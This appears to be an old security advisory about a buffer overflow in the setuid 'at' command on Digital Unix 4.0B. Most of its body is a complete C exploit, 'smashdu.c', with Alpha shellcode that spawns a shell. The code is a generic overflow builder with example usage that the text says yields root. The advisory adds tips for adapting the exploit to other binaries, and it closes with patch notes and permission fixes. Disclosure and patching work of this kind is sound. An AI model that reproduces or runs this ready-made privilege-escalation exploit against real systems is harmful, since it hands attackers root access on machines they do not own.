COMMAND

    at

SYSTEMS AFFECTED

    Digital Unix 4.0 ABCDE

PROBLEM

    Lamont Granquist  found following.   Previously Digital  Unix  has
    been relatively immune to buffer overflow attacks due to the  lack
    of an executable stack in the 3.x versions.  For the 4.0  versions
    the stack  was made  executable --  likely for  JIT compilers  and
    maybe programs that need  GCC-like trampolines.  This,  of course,
    greatly simplifies the  coding of exploits.   Lamont has  actually
    written shellcode and  successfully exploited several  programs on
    Digital Unix 4.0.  He managed to successfully exploit  /usr/bin/at
    in Digital Unix 4.0B (no  patches) which is probably the  same bug
    as     CA-97.18.at     (www.cert.org/advisories/CA-97.18.at.html).
    The exploit for at will follow, but before that let's take a  look
    at following:

        % /usr/bin/at `perl -e 'print "a" x 300'`
        Segmentation fault (core dumped)
        % gdb /usr/bin/at core
        GNU gdb 4.17
        Copyright 1998 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you are
        welcome to change it and/or distribute copies of it under certain conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for details.
        This GDB was configured as "alpha-dec-osf3.2"...(no debugging symbols found)...
        Core was generated by `at'.
        Program terminated with signal 11, Segmentation fault.
        [...]
        #0  0x6161616161616160 in ?? ()
        %

    Here is the  long awaited exploit  script.  It  should be possible
    to adapt most  of the popular  buffer overflows in  other O/Ses to
    Digital  Unix.   In  particular,  the  remote buffer overflows for
    named, statd and ttdbserverd  should be adaptable to  Digital Unix
    in principle.  Locally exploitable buffer overflows such as the at
    and  xlock  bugs  should  also  be  adaptable to Digital Unix.  An
    example  (/usr/bin/at)  is  given  below.   It  is  pretty simple.
    Compile  smashdu.c  below  and  execute  it  with the command line
    arguments of:

        % ./smashdu 1022 2 56 /usr/bin/at %e
        using 1022 2 56
        putting overflow code into argv[1]
        #

    On unpatched  DU4.0B this  should give  you root  (as shown).   In
    DU4.0D /usr/bin/at can be made to coredump, but it does not appear
    to be easily exploitable (perhaps with return-into-libc  attacks).

    /* smashdu.c
       generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
       Lamont Granquist
       lamontg@hitl.washington.edu
       lamontg@u.washington.edu
       Tue Dec  1 11:22:03 PST 1998

       gcc -o smashdu smashdu.c */

    #define MAXENV 30
    #define MAXARG 30

    #include <unistd.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <stdio.h>

    /* shellcode = 80 bytes.  as the entry to this shellcode is at offset+72 bytes
       it cannot be simply padded with nops prior to the shellcode.  */

    int rawcode[] = {
      0x2230fec4,              /* subq $16,0x13c,$17       */
      0x47ff0412,              /* clr $18                  */
      0x42509532,              /* subq $18, 0x84           */
      0x239fffff,              /* xor $18, 0xffffffff, $18 */
      0x4b84169c,
      0x465c0812,
      0xb2510134,              /* stl $18, 0x134($17)      */
      0x265cff98,              /* lda $18, 0xff978cd0      */
      0x22528cd1,
      0x465c0812,              /* xor $18, 0xffffffff, $18 */
      0xb2510140,              /* stl $18, 0x140($17)      */
      0xb6110148,              /* stq $16,0x148($17)       */
      0xb7f10150,              /* stq $31,0x150($17)       */
      0x22310148,              /* addq $17,0x148,$17       */
      0x225f013a,              /* ldil $18,0x13a           */
      0x425ff520,              /* subq $18,0xff,$0         */
      0x47ff0412,              /* clr $18                  */
      0xffffffff,              /* call_pal 0x83            */
      0xd21fffed,              /* bsr $16,$l1    ENTRY     */
      0x6e69622f,              /* .ascii "/bin"            */
                               /* .ascii "/sh\0" is generated */
    };

    int nop           = 0x47ff041f;
    int shellcodesize = 0;
    int padding       = 0;
    int overflowsize  = 0;
    long retaddr      = 0x11fffff24;


    void usage(void) {
      fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
      fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
      fprintf(stderr, "  -e: add a variable to the environment\n");
      fprintf(stderr, "  -r: change ra from default 0x11fffff24\n");
      fprintf(stderr, "  shellsize: size of shellcode on the heap\n");
      fprintf(stderr, "  pad: padding to alighn the shellcode correctly\n");
      fprintf(stderr, "  bufsize: size of the buffer overflow on the stack\n");
      fprintf(stderr, "  cmdargs: %%e will be replaced by buffer overflow\n");
      fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
      fprintf(stderr, "/foo/bar %%e\n");
      exit(-1);
    }

    /* this handles generation of shellcode of the appropriate size and with
       appropriate padding bytes for alignment.  the padding argument should
       typically only be 0,1,2,3 and the routine is "nice" in that if you feed
       it the size of your malloc()'d buffer it should prevent overrunning it
       by automatically adjusting the shellcode size downwards. */


    int genshellcode(char *shellcode, int size, int padding) {
      int i, s, n;
      char *rp;
      char *sp;
      char *np;

      rp = (char *)rawcode;
      sp = (char *)shellcode;
      np = (char *)&nop;
      s  = size;

      if (size < (80 + padding))  {
        fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
        fprintf(stderr, "with %d padding\n", size, padding);
        exit(-1);
      }

    /* first we pad */
      for(i=0;i<padding;i++) {
        *sp = 0x6e;
        sp++;
        s--;
      }

    /* then we copy over the first 72 bytes of the shellcode */
      for(i=0;i<72;i++) {
        *sp = rp[i];
        sp++;
        s--;
      }

      if (s % 4 != 0) {
        n = s % 4;
        s -= n;
        printf("shellcode truncated to %d bytes\n", size - n);
      }

    /* then we add the nops */
      for(i=0; s > 8; s--, i++) {
        *sp = np[i % 4];
        sp++;
      }
      n = i / 4;       /* n == number of nops */

    /* then we add the tail 2 instructions */
      for(i=0; i < 8; i++) {
        *sp = rp[i+72];
        if(i==0)   /* here we handle modifying the branch instruction */
          *sp -= n;
        *sp++;
      }

    }

    int main(argc, argv)
      int   argc;
      char *argv[];
    {
      char *badargs[MAXARG];
      char *badenv[MAXENV];
      long  i, *ip, p;
      char *cp, *ocp;
      int   c, env_idx, overflow_idx;

      env_idx = 0;

      while ((c = getopt(argc, argv, "e:r:")) != EOF) {
        switch (c) {
        case 'e':                         /* add an env variable */
          badenv[env_idx++] = optarg;
          if (env_idx >= MAXENV - 2) {
            fprintf(stderr, "too many envs, ");
            fprintf(stderr, "try increasing MAXENV and recompiling\n");
            exit(-1);
          }
          break;
        case 'r':                         /* change default ra */
          sscanf(optarg, "%x", &retaddr);
          break;
        default:
          usage();
          /* NOTREACHED */
        }
      }

      if (argc - optind < 4) {
        usage();
      }

      shellcodesize = atoi(argv[optind++]);
      padding       = atoi(argv[optind++]);
      overflowsize  = atoi(argv[optind++]);

      printf("using %d %d %d\n", shellcodesize, padding, overflowsize);

    /* copy the args over from argv[] into badargs[] */
      for(i=0;i<29;i++) {
        if (strncmp(argv[optind], "%e", 3) == 0) {  /* %e gets the shellcode */
          badargs[i] = malloc(overflowsize);
          overflow_idx = i;
          optind++;
        } else {
          badargs[i] = argv[optind++];
        }
        if (optind >= argc) {
          i++;
          break;
        }
      }

      badargs[i] = NULL;

      if (optind < argc) {
        fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
        exit(-1);
      }

      printf("putting overflow code into argv[%d]\n", overflow_idx);

      cp = badargs[overflow_idx];
      for(i=0;i<overflowsize-8;i++) {
        *cp = 0x61;
        cp++;
      }

      ocp = (char *) &retaddr;

      for(i=0;i<8;i++) {
        cp[i] = ocp[i];
      }

    /* here is where we actually shovel the shellcode into the environment */
      badenv[env_idx] = malloc(1024);
      genshellcode(badenv[env_idx++],shellcodesize,padding);
      badenv[env_idx] = NULL;

    /* and now we call our program with the hostile args */
      execve(badargs[0], badargs, badenv);

    }

    To those who will try to play with exploits now, here's few notes.
    - do the extra work to check  with gdb to see if the program  will
      jump to the magic  '0x6161616161616160' address -- if  you can't
      get this far then you  aren't able to tweak the  return address.
      There's a  lot of  programs in  digital unix  that dump core and
      stubbornly refuse  to give  a 0x6161616161616160  and without  a
      source  license  it's  hard  to  figure  out  if  they  might be
      exploitable  with  a  bit  more  sophisticated  attack.  It may,
      however, help to trim down the size of the argument that  you're
      overflowing with a bit.
    - Please figure  out what the  size of the  buffer is that  you're
      smashing  by  reducing  your  smashing  argument to the smallest
      size  which  gives  an  error.   This  goes  along with the last
      sentence above -- Get it as small as possible, then add about 24
      (to hopefully make  sure that you're  hitting the RA  -- try 40,
      60,  100   if  24   doesn't  work)   and  then   look  for   the
      0x6161616161616160.  The binary search algorithm is your  friend
      for this step.
    - Check to make sure that you can get values other than 0x61 ('a')
      into the return address.
      /usr/sbin/trpt -p `perl -e 'print "a" x 600' will give the magic
      '0x6161616161616160' but  the overflow  bytes are  restricted to
      hex  [A-Fa-F0-9]  and  you  can't  write  shellcode that is that
      restricted  (and  those  restrictions  on  ra locations probably
      makes it damn  near impossible to  exploit this one  even if you
      had that kind of shellcode).

SOLUTION

    This was  patched in  DU4.0D and  hopefully is  fixed in the patch
    kits for DU4.0B.  See:

        http://ftp.service.digital.com/patches/public/unix/v4.0/ssrt0583u.README

    The  initial  patch  installation  instructions  for SSRT0583U for
    'at'  and  'inc'  had  incorrect  instructions  which  would leave
    exploitable suid root binaries lying around if they were  followed
    to the letter, e.g:

        # cp /patches/at at.new
        # chown root:bin at.new
        # chmod 4755 at.new
        # ln at at.orig
        # mv at.new at

    These were later changed to read:

        # cp /patches/at at.new
        # chown root:bin at.new
        # chmod 4755 at.new
        # ln at at.orig
        # mv at.new at
        # chmod 400 at.orig

    To be sure you're okay:

        # chmod 400 /usr/bin/at.orig /usr/bin/mh/inc.orig /usr/shlib/libmh.so.orig